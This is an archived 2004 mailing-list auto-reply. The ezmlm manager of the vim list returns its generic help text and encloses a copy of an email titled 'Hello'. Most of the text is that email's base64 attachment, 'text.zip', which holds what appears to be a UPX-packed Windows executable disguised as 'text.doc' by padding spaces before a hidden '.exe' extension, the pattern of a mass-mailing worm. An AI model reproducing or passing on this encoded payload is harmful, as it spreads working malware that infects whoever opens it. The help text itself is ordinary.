ezmlm Message-ID: <1075788549.5523.ezmlm@vim.org> From: vim-return-@vim.org To: clisp-list@lists.sourceforge.net Delivered-To: responder for vim@vim.org Received: (qmail 5518 invoked from network); 3 Feb 2004 06:09:07 -0000 Received: from unknown (HELO lists.sourceforge.net) (218.19.64.127) by foobar.math.fu-berlin.de with SMTP; 3 Feb 2004 06:09:07 -0000 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii X-Spam-Score: 2.9 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 NO_REAL_NAME From: does not include a real name 1.6 LARGE_HEX BODY: Contains a large block of hexadecimal code 0.8 MSGID_FROM_MTA_HEADER Message-Id was added by a relay 0.3 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] ezmlm response Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Feb 2 22:09:09 2004 X-Original-Date: 3 Feb 2004 06:09:09 -0000 Hi! This is the ezmlm program. I'm managing the vim@vim.org mailing list. This is a generic help message. The message I received wasn't sent to any of my command addresses. --- Administrative commands for the vim list --- I can handle administrative requests automatically. Please do not send them to the list address! Instead, send your message to the correct command address: To subscribe to the list, send a message to: To remove your address from the list, send a message to: Send mail to the following for info and FAQ for this list: Similar addresses exist for the digest list: To get messages 123 through 145 (a maximum of 100 per request), mail: To get an index with subject and author for messages 123-456 , mail: They are always returned as sets of 100, max 2000 per request, so you'll actually get 100-499. To receive all messages with the same subject as message 12345, send an empty message to: The messages do not really need to be empty, but I will ignore their content. Only the ADDRESS you send to is important. You can start a subscription for an alternate address, for example "john@host.domain", just add a hyphen and your address (with '=' instead of '@') after the command word: To stop subscription for this address, mail: In both cases, I'll send a confirmation message to that address. When you receive it, simply reply to it to complete your subscription. If despite following these instructions, you do not get the desired results, please contact my owner at vim-owner@vim.org. Please be patient, my owner is a lot slower than I am ;-) --- Enclosed is a copy of the request I received. Return-Path: Received: (qmail 5518 invoked from network); 3 Feb 2004 06:09:07 -0000 Received: from unknown (HELO lists.sourceforge.net) (218.19.64.127) by foobar.math.fu-berlin.de with SMTP; 3 Feb 2004 06:09:07 -0000 From: clisp-list@lists.sourceforge.net To: vim-help@vim.org Subject: Hello Date: Tue, 3 Feb 2004 14:08:14 +0800 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0009_4D29C944.3D05C21C" X-Priority: 3 X-MSMail-Priority: Normal This is a multi-part message in MIME format. ------=_NextPart_000_0009_4D29C944.3D05C21C Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit ------=_NextPart_000_0009_4D29C944.3D05C21C Content-Type: application/octet-stream; name="text.zip" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="text.zip" UEsDBAoAAAAAAAcxQzDKJx+eAFgAAABYAABSAAAAdGV4dC5kb2MgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLmV4ZU1a kAADAAAABAAAAP//AAC4AAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AKgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFBFAABM AQMAAAAAAAAAAAAAAAAA4AAPAQsBBwAAUAAAABAAAABgAABgvgAAAHAAAADAAAAAAEoAABAAAAAC AAAEAAAAAAAAAAQAAAAAAAAAANAAAAAQAAAAAAAAAgAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAA AAAAAAAAAAAA6MEAADABAAAAwAAA6AEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAVVBYMAAAAAAAYAAAABAAAAAAAAAABAAAAAAAAAAAAAAAAAAAgAAA4FVQ WDEAAAAAAFAAAABwAAAAUAAAAAQAAAAAAAAAAAAAAAAAAEAAAOAucnNyYwAAAAAQAAAAwAAAAAQA AABUAAAAAAAAAAAAAAAAAABAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAADEuMjQAVVBYIQwJAglIfomP1DYcgSmWAABTTgAAAIAAACYBAMXuhwKS AFAmSgBAA/2yaZosEAT0JegBAEvOaZpu2R/IKsADuLCopmmapqCYkIiAmqZpmnhwaGBYUM1gn2lI AEQHODA0TdN0AygkHBgQ0yy71wgjA/gp8OhN0zRN4NjQyLy0NE3TNKyknJSMzjZN04h8cGgpb1ym 6ZrBB1RMA0Q4mqZpmiwkHBQMBGmazm38KH8D9OzkpmmaptzUzMi8mqZpmrSspKCYkGebpmmMgHhw KHto3mzTdQdcA1RMKP/7C3a2++NADzQo9ywvA5qmGfkkKEocFAwEaZrO7Jv8JwPs6OCmaZqm2NTM yMCapmm6uCewrKigmGmapmmUjIiEfKRpmqZ0bGRcVGmaphtMA0RAODCmaZqmKCAYEAiapnObAPgm zwPo4Nhnm85tVDRDA0A0NNuK/////51a0Nrl9AYfM05sck7YApdfksgBPXy+Q0uW5DWJ4DqX//// //dawCmVBHbrY95c3WHocv+PIrhR7Ywu03sm1A058Kpn/////yfqsHlFFOa7k25MLRH44s+/sqih nZyeo6u2xNXpABo3/////1d6oMn1JFaLw/48fcEIUp/vQpjxTawOc9tGtCWZEIoH/////4cKkBml paj+8sPSqPgSLEprj7bgDT1wpt8bWnzhJ1XJ/////xJgvhhl1TieF3PiVIlBvJrjP8ZQjW0Alk/L agyxQ3qy/////3MXzohHBciKVyPyxJlxTC4L79bArZ2Qhg97enyRiZSi/////7PH3voVNVh+p8MC NHmh3Bpbj+Ywbc0gds8rivxRuSSS/////wN37mjlZehul4ODdoyVobDC1+8KKEltlL7rG06Evfk4 /////3q/B1Kg8UVsllOzGnzlUcAypx+aGJkdpC67S950DalI/////+qPN+KQQfWsZiPjpmw1AdCi d08qCOnNtJ6Le25kXVlY/////1pfZ3KAkaW81vMTNlyFseASR3+6+Dl9xA5bq/5UrQk9/////5p3 pwJw4VXMBsNDxlzVYWFkanN/jKC1zegGJ0tynMn5/////yxim1cWWH2wYCb+I3rUMZHkWsMvzhCF /XT2d/uADJkp/////7xS64cmyG0VwG4fk4pE4ZTUEiHfroBVLRjmx6vyfGlZ/////05COzc4OD1F UF5vg5q00fEUOmPPvvDlbLbkI1v3vGGo/////9A7ie5zPGP4meDFS5EXoSHeIrM/P1RIUXtvftbP 2W6V/9/+/ykDI+mUCb/m86VBEKZ8MmlrgCELLcdO0hCCbPn/////c6d33hSHBwf7UqoBYcAsm/cm lt2XnSJgD0aezf0sQH//////k7LS8QkgWHZoY11QUlFTamR3ASzF71QwvFcRPM6dV27/////IOOt YNrRUhXOZl+3QcAU5GWTn3j+cg2852qVe3sTdnb/////fRwNLfL29LDx0ed5+t1MZaP/J2yM3Qvb jBupvXWHO0//////2xSCQhQJRcyCD/pitylz+xWD5x6TfrQkaSn/vSjL6k7//+3/dw46sL/3VNTs c5gBTQad8qKvwmLz5V433wVxUv////8H+BtAflQ+p6lPLAJ9MMjnBtJUKhprTAGdBPZq+h3HBv+F ///4HZAEq5YABgYQK++Z1E7/F3gLk8b4dSGMpP////9f/8xya+tv/qX97NBByXiR2cSsJsfo4Km3 Gl1v7CkQo/////+88+31b1EhNY3WUxxIKRjjt1w/nbjN0FJV47VD6r5n4/////+goDLizkk6JC8w Co+uhOF1QKFimLL1MErg4/+RgcEnB/////93iGePVLOFCOL+gkWrYY502rsqOK7wStQYnBeKSMK1 vP////+e+x9W5m6Q4DtHs6Aat9KqvMT3k0imAcAE/wYSi12p2P////+9lDH4H+haYz7f1grKQtUM XmBJcvX0rvRTF/wWFfKOmv////9zcDyCseKON1tTFqInlFRYrLE1Nz6qdWWVIW7rGoSBav/////m Chg/OpWfgYLjc6RHPQkC1i6IwqfVP4pc6p9WO189Sv/S///DeV9DCbjwq5rOHrKF2UvB1Dtez9/2 R/lK9//////Y+y20imdi/1itEYwi91vLWN+F/KzgZdrrl5TiYAjvP/////884+x/EI5gft1Nm+Sd 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 1qn//1uiQmyZyfwya6fmKG0gYE6fgyqk3f//X2jELP9u4FXNSMZHaTLcaYHsIrtX9pg9+i/0/+WQ Pu+jWhTRPDQa41RQJf3Ytpd7Yvh/6ResKRwSCwftDRUgLj/rCoShB4T///+30F+OwPX7CKbnK3K8 Cb3MAlu3FnjdVbAeDwN6//////RxujGozUpDISoPaXACYzrS4pSpaXlFib58JYWRVQ7B+Lf+/+0e U7VE7t9o8Ucyln+MHVvIJal81Saz//9btIDStQRigm4ciuRMot0AUbml6S7/f4vGS3CHVzwnaXto iZWigJ3m6/OJ/9/4239tWwwL+YPoESOe3wtGhGgxUJrnN4r//w3+4DmV9Fa7I9pt4VjST89S2GHt 7fD2/wsa//8v/SxBWXSSs5koVYW47idjouQpcbwKW68GYL0d/xZf6oDmT46cEYkEuocOmCW1SN7/ ////dxOyVPmhTPqrXxbQjU0Q1p9rOgzhuZRyUzceCPXl2M7/hf7/x8PCxMnR3Or7DyZAXX2gTxtK fLHpJGKj/wL//+cueMUVaL4Xc9I0mQFs2ksAsC2tMLY/y///jf7LztTd6fgKQFJwkbXcBjNjlswF QYDCB0//Uv//mug5jeQ+m/texC2ZCHrvZ1PhZex2A5Mm/l/q/7xV8ZAy138q2Ik96Gsr7rR9SRjq v5dy6P//l8AV/ObTw7aspaGgoqevusjZ7QQeO1v1//9fQc35KFqPxyhzeW5jLmMsdiAwLjEgMjAw NP0j22+TMS94eCACOiBhbmR5KQB7uwUbzAItDAAFHAA5Cc4Q/5kPAQAQAAkAEtcDByF++2Z1dnp0 TXYucXl5N0Zi/b/7/3Nnam5lclxadnBlYmYNXEp2YXFiamZcUGhlf/n/vxdhZ0lyZWZ2YmFcUmtj eWJlcmVielF5dDO3+C3YMlwZQ2pyb0Z2a0Z6ur/99mdrRjBTZ25meHoXLnJrcgBHC1orNAX2I2dF eZeW//a/bm90ZXBhZCAlcwtNZXNzYWdlACwl+5jbD3USBS4ydToEim57zxQGAy8tPyv7b/9vQ2Vj AE5vdgBPY3QAU00AQXVnAEp1bAO2udutblNheQ9wcgcDRpC3v122E2FTYSdGcmkAVGhEV2X2zt22 ZAd1c01vFy9hYmNkn/vCb/9naGlqa2xtnHBxcnN0Tnd4eXpn9v//f0FCQ0RFRkdISUpLTE1OT1BR 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 